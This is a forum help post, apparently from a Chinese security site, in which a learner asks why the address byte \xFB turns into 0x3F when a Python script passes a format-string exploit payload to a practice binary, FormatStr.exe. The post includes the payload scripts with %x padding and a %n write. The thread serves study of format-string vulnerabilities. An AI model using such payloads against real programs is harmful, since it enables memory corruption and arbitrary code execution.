-
-
[求助]为什么我用python执行脚本的时候,这个地址 \x50\xFB\x12,会解析成00003F50,请问怎么解决
-
发表于:
2016-10-17 19:46
3550
-
[求助]为什么我用python执行脚本的时候,这个地址 \x50\xFB\x12,会解析成00003F50,请问怎么解决
看了《格式化字符串漏洞执行任意代码分析》这篇文章以后,自己也想学习一下,可是用python拼接地址以后,eax的值总是不对,被转义成其他字符了,希望有大家答疑解惑一下
from subprocess import call
a="\xCC\xCC\xCC\xCCAAAABB-"
b="%x"*21
c="%414621x-%414621x-%414621x-%nAB\x50\xFB\x12"
buf=a+b+c
print buf
call(["FormatStr.exe",buf])
这个执行以后
exa显示值为00003F50
如果我改成
from subprocess import call
a="\xCC\xCC\xCC\xCCAAAABB-"
b="%x"*21
c="%414621x-%414621x-%414621x-%nAB\x50\x50\x12"
buf=a+b+c
print buf
call(["FormatStr.exe",buf])
eax就可以显示出来00125050了,难道 \xFB\x12为解析成3F?
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!